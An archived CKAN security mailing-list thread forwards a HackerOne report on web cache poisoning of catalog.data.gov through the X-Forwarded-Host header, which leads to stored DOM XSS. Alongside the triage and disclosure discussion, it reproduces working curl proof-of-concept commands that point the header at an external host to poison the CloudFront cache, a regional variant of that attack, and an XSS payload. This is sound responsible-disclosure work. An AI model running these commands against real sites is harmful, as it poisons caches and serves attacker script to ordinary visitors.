[CKAN-Security] Security post from philip.ashlock at gsa.gov requires approval

Wed Jun 6 23:33:56 UTC 2018

You probably received a separate email from John with steps to reproduce,
but I've copied the text from that below if it's helpful. I'm also a little
unclear where in the stack this should be addressed, but as you suggested
it seems like there should be some point where the X-Forwarded-Host HTTP
header is sanitized and filtered against a white list or perhaps matched to
the equivalent of ckan.site_url. We can explore further within our
configuration to see if there'd be a more logical place to do that outside
of CKAN, but at the moment it does seem like CKAN could provide one place
to catch this.

As far as assistance bringing this to the attention to developers
associated with routes/flask, I guess my request was two fold: 1) determine
whether addressing this issue should be a responsibility covered by routes
and flask 2) advice on the best way to disclose or describe the issue,
perhaps just as a github issue if public disclosure is reasonable

If I understand correctly, older versions of CKAN would be using
the X-Forwarded-Host header as inherited through the routes library while
newer work with flask inherits the behavior from flask. This relatively
uninformed assessment is merely based on the import statements for
"url_for" I saw here:
https://github.com/ckan/ckan/blob/master/ckan/lib/helpers.py#L34-L35

And here's an example of where X-Forwarded-Host is pulled in with the
routes library
https://github.com/bbangert/routes/blob/master/routes/util.py#L488

I've copied the text of the full hackerone report below:

Title:         Defacement of catalog.data.gov via web cache poisoning to
> stored DOMXSS
> Scope:         https://catalog.data.gov
> Weakness:      Cross-site Scripting (XSS) - Stored
> Severity:      High (8.6)
> Link:          /reports/303730
> Date:          2018-01-10 12:23:37 +0000
> By:            @albinowax
> Details:
> An attacker can deface various pages on catalog.data.gov, leading to them
> executing malicious JavaScript when visited by a normal user.
> The root problem is that the server trusts the X-Forwarded-Host HTTP
> header, and uses this to populate the 'data-site-root' and
> 'data-locale-root' attributes on the <body tag. Some JavaScript then
> fetches a JSON file from the URL specified in these attributes, and writes
> the response to the page without escaping it, leading to a DOMXSS
> vulnerability.
> This behaviour is harmless by itself, since I can't make a victim send a
> malicious HTTP header. Fortunately for me, I can ensure that the poisoned
> response sent to me is cached by CloudFront, meaning my payload will be
> served to loads of other users.
> Please be careful when exploring this issue, as it's potentially quite
> easy to accidentally poison CloudFront's cache and antagonise your
> visitors. To safely replicate this issue, you can use the following steps:
> 1. Run curl command to poison cache:
> curl -i -s -k  -X $'GET' \
>     -H $'Host: catalog.data.gov' -H $'Accept-Encoding: gzip, deflate' -H
> $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0
> (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' -H
> $'x-forwarded-host:
> portswigger-labs.net/catalog.data.gov_json_xss/json.php?' -H
> $'Connection: close' \
>     $'
> https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=6'
> > /dev/null
> 2. Visit the poisoned page:
>
> https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=6
> 3. Wait for a few seconds, and observe the popup caused by our injected
> alert(document.domain)
> Behind the scenes, step 1 poisons the cache with a data-site-root value of
> 'portswigger-labs.net/catalog.data.gov_json_xss/json.php'. In step 2,
> some JavaScript fetches our json.php file from portswigger-labs.net, and
> uses our 'show more' JSON attribute to translate the 'show more' text on
> https://catalog.data.gov/dataset/consumer-complaint-database into
> "Mostrar más <svg onload=alert(document.domain)>"
> This is the offending line of JavaScript:
> var template_more = ['<tr class="toggle-show toggle-show-more">', '<td
> colspan="' + cols + '">', '<small>', '<a href="#" class="show-more">' +
> this.i18n('show_more') + '</a>', '<a href="#" class="show-less">' +
> this.i18n('show_less') + '</a>', '</small>', '</td>', '</tr>'].join('\n');
> To mitigate this issue, I recommend addressing the X-Forwarded-Host
> reflection.
> Please let me know if you have any questions.
> Cheers,
> James & Gareth
> ## Impact
> An attacker can deface most pages on catalog.data.gov.
> Timeline:
> 2018-01-12 14:55:17 +0000: @chessmast3r (bug needs more info)
> Hi @albinowax,
> Thank you for your submission! This looks interesting but I'm not able to
> reproduce with given steps, could you share any additional details if I
> need to follow?
> Regards.
> {F253348}
> ---
> 2018-01-12 16:04:26 +0000: @albinowax (bug new)
> Which bit can't you replicate, the XFH header getting reflected, or the
> reflection getting stored in the cache?
> ---
> 2018-01-12 16:15:54 +0000: @albinowax (comment)
> Here's an improved PoC that uses a timestamp to avoid caching issues:
> 1. Execute the following command
> ```url=
> https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=$(date
> +%s) && curl -i -s -k -H $'Host: catalog.data.gov' -H $'Accept-Encoding:
> gzip, deflate' -H $'Accept: /' -H $'Accept-Language: en' -H $'User-Agent:
> Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
> Trident/5.0)' -H $'x-forwarded-host:
> portswigger-labs.net/catalog.data.gov_json_xss/json.php?' -H
> $'Connection: close' $url | fgrep portswigger && echo -e "\n\n$url"```
> 2. The previous step should print out a URL like
> https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=1515773700
> on the last line. If you don't see the URL, something went wrong. Load the
> URL that gets printed in Chrome
> 3. Wait a few seconds for the alert
> ---
> 2018-01-13 17:22:06 +0000: @joystick (comment)
> Hi,
> Thank you for the additional information! We will investigate and get back
> to you as soon as we have an update to share.
> Regards.
> @joystick
> ---
> 2018-01-13 17:24:42 +0000: @joystick (comment)
> We were able to replicate the issue and will now escalate to our internal
> team for further investigation. Thank you!
> ---
> 2018-01-13 17:29:17 +0000: @joystick (group assigned to bug [team-only])
> ## Report Status
> Confirmed.
> ## Summary of the Issue
> `catalog.data.gov` trusts the `X-Forwarded-Host` HTTP header, and uses
> this to populate the `data-site-root` and `data-locale-root` attributes on
> the body. Attacker would be able to poison the response sent to other users
> in the same region since it is cached by CloudFront, hence the injected JS
> payload will be served to other users.
> ## Steps to reproduce
> 1) Run curl command to poison cache:
> ```
>  curl -i -s -k -X $'GET' \
>     -H $'Host: catalog.data.gov' -H $'Accept-Encoding: gzip, deflate' -H
> $'Accept: /' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0
> (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' -H
> $'x-forwarded-host:
> portswigger-labs.net/catalog.data.gov_json_xss/json.php?' -H
> $'Connection: close' \
>     $'
> https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=6'
> > /dev/null
> ```
>
> 2) Visit:
> -
> https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=6
> 3) Observe the pop-up caused by the injected `alert(document.domain)`.
> ## Impact statement
> An attacker can deface various pages on catalog.data.gov, leading to them
> executing malicious JavaScript when visited by a normal user.
> Regards,
> @joystick
> ---
> 2018-01-13 17:29:43 +0000: @joystick (report severity updated)
>
> ---
> 2018-01-13 17:38:25 +0000: @albinowax (comment)
> Good to hear you've replicated it.
> Just in case the logic behind the original critical severity isn't clear,
> it's that by tweaking the cURL command slightly it's possible to poison
> https://catalog.data.gov/dataset/consumer-complaint-database so that
> random visitors will get exploited. This technique can be used on *every*
> dataset, and also possibly every other page on catalog.data.gov (I'm
> working on that).
> ---
> 2018-01-13 22:47:42 +0000: @joystick (report severity updated)
>
> ---
> 2018-01-13 22:55:10 +0000: @joystick (comment)
> @albinowax - the complexity of the attack was set to `High` because
> Cloudfront would serve the cached response only to users from the same
> region as the attacker. Confidentiality is set to `Low` since there isn't
> much to any sensitive information to extract. Integrity was re-set to
> `High` given the fact that the injected JS might allow the attacker to
> override the page's content. However, the attack would still require user
> interaction, and as a result the overall CVSS is `High (7.4)`. If you have
> any additional information that would help us better assess this report,
> please let us know.
> ---
> 2018-01-15 09:48:26 +0000: @coffeecup (bug triaged)
> Hey @albinowax -
> Thank you for your submission. We have validated this issue and forwarded
> the report to the responsible team for this application. They will evaluate
> and let us know whether or not they will be implementing a fix.
> Thanks!
> ---
> 2018-01-25 16:56:00 +0000: @albinowax (comment)
> The statement that the complexity of this attack is 'high' because
> Cloudfront would serve the cached response only to users from the same
> region as the attacker isn't entirely accurate.
> An attacker can easily poison the cache in arbitrary regions by using a
> service like `
> https://www.nexcess.net/resources/tools/global-dns-checker/?h=catalog.data.gov&t=A`
> to get a list of CloudFront's frontends in different regions, then routing
> the attack through each of those in turn:
> curl --resolve catalog.data.gov:443:54.230.9.199 -H $'x-forwarded-host:
> portswigger-labs.net/'
> https://catalog.data.gov/dataset/consumer-complaint-database?zxcv=1234
> Cheers.
> ---
> 2018-01-31 10:51:32 +0000: @chessmast3r (comment [team-only])
> @joystick
> ---
> 2018-01-31 13:26:23 +0000: @joystick (report severity updated)
>
> ---
> 2018-01-31 13:27:07 +0000: @joystick (comment)
> @albinowax - thank for the follow-up! we adjusted to the complexity to
> `High`.
> ---
> 2018-02-05 17:41:20 +0000: @jjediny (comment [team-only])
> The Data.gov team has validated the issue and is working to resolve this
> in the meantime we agree with the severity (High - given the distributed
> nature and refresh rate of the cache we agree it is not Critical). Please
> make the award based on the current High rate for the TTS program.
> ---
> 2018-02-05 18:05:52 +0000: @joystick (bounty suggested [team-only])
> - Severity: High
> - Bounty Level: Initial
> - Reward Amount: $750
> ---
> 2018-02-06 00:34:58 +0000: @chessmast3r (bounty suggested [team-only])
> Based on severity and bounty table.
>
> ---
> 2018-02-06 01:06:07 +0000: @chessmast3r (bounty awarded)
>
> ---
> 2018-05-30 14:03:37 +0000: @albinowax (comment)
> It looks like this vulnerability hasn't been fixed since I reported it
> several months ago. I should mention that I'm planning to deliver a talk on
> the underlying attack concept/technique at a major security conference
> (Black Hat USA) in a couple of month's time. Unfortunately after this point
> it's likely that other people will independently discover this
> vulnerability and potentially exploit it. As such, I really think it's
> worth resolving this issue promptly.
> ---
> 2018-05-30 19:05:09 +0000: @ericmillgsa (comment)
> @albinowax Thanks for the poke, and the heads up. We'll investigate this
> internally and will update this thread.
>
>

On Wed, Jun 6, 2018 at 4:42 AM, Adrià Mercader <adria.mercader at okfn.org>
wrote:

> Hi Philip,
>
> Many thanks for reporting this.
>
> I read some issues that seem to be related to this and I must admit
> I'm still a bit unclear about how best to tackle it. Besides it looks
> like it also depends on the exact setup of each instance as headers
> can be set or sanitized by a proxy like Nginx.  A proof of concept or
> steps to reproduce would be amazing if you could provide them.
>
> https://github.com/pallets/werkzeug/issues/609
> https://github.com/pallets/werkzeug/pull/1303
>
> Thinking out loud, if this needs to be addressed at the CKAN level, we
> could remove the X-Forwarded-Host HTTP header or make it match the
> host defined in ckan.site_url, although I'm not sure if both these
> approaches can have implications for sites running behind a proxy.
>
> > we'd also appreciate assistance in bringing the disclosure to the
> attention of those developers.
>
> Can you clarify what do  you mean by this?
>
> Thanks again, please let us know if you can provide more details.
>
> Adrià
>
> On 6 June 2018 at 00:07,  <security-owner at lists.okfn.org> wrote:
> > As list administrator, your authorization is requested for the
> > following mailing list posting:
> >
> >     List:    Security at lists.okfn.org
> >     From:    philip.ashlock at gsa.gov
> >     Subject: X-Forwarded-Host HTTP header is always trusted and is used
> in url_for
> >     Reason:  Post by non-member to a members-only list
> >
> > At your convenience, visit:
> >
> >     https://lists.okfn.org/mailman/admindb/security
> >
> > to approve or deny the request.
> >
> >
> > ---------- Forwarded message ----------
> > From: Philip Ashlock - QXA <philip.ashlock at gsa.gov>
> > To: security at ckan.org
> > Cc: John Jediny - XAAB <john.jediny at gsa.gov>, Hyon Kim - XI <
> hyon.kim at gsa.gov>
> > Bcc:
> > Date: Tue, 5 Jun 2018 18:06:37 -0400
> > Subject: X-Forwarded-Host HTTP header is always trusted and is used in
> url_for
> > Hello,
> >
> > Data.gov uses CKAN and is participating in a bug bounty program through
> hackerone.com. We are currently responding to a vulnerability that comes
> from libraries used by CKAN (specifically the url_for function provided by
> routes/flask). I haven't seen this reported with routes or flask, but my
> understanding is that routes is a port of the rails routing functionality
> and it does look like this vulnerability was reported under rails (also via
> HackerOne). You can see that vulnerability report here
> https://github.com/rails/rails/issues/29893
> >
> > If I understand correctly that this is a vulnerability impacting other
> CKAN instances and it is not something currently being addressed, we wanted
> to make sure it was brought to your attention. While I am aware that this
> appears to be caused by upstream libraries, I wanted to start by addressing
> it with CKAN, because the researcher who reported it to us on HackerOne has
> indicated they expect to publish their findings soon and include it in a
> talk at the Black Hat conference and they will likely use CKAN as an
> example.
> >
> > If you can confirm my understanding of this problem is correct and that
> it hasn't already been addressed or reported to the upstream libraries
> (routes/flask), we'd also appreciate assistance in bringing the disclosure
> to the attention of those developers.
> >
> > If you need more information or a proof of concept beyond the
> documentation reported with the issue on rails, we'd be happy to provide
> that.
> >
> > Best,
> > Phil
> >
> >
> >
> >
> > ---------- Forwarded message ----------
> > From: security-request at lists.okfn.org
> > To:
> > Cc:
> > Bcc:
> > Date: Tue, 05 Jun 2018 22:07:06 +0000
> > Subject: confirm 4a7cc0477df665a9a3805920adf086d5b81364a0
> > If you reply to this message, keeping the Subject: header intact,
> > Mailman will discard the held message.  Do this if the message is
> > spam.  If you reply to this message and include an Approved: header
> > with the list password in it, the message will be approved for posting
> > to the list.  The Approved: header can also appear in the first line
> > of the body of the reply.
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://lists.okfn.org/mailman/private/security/attachments/20180606/b1191981/attachment-0001.html>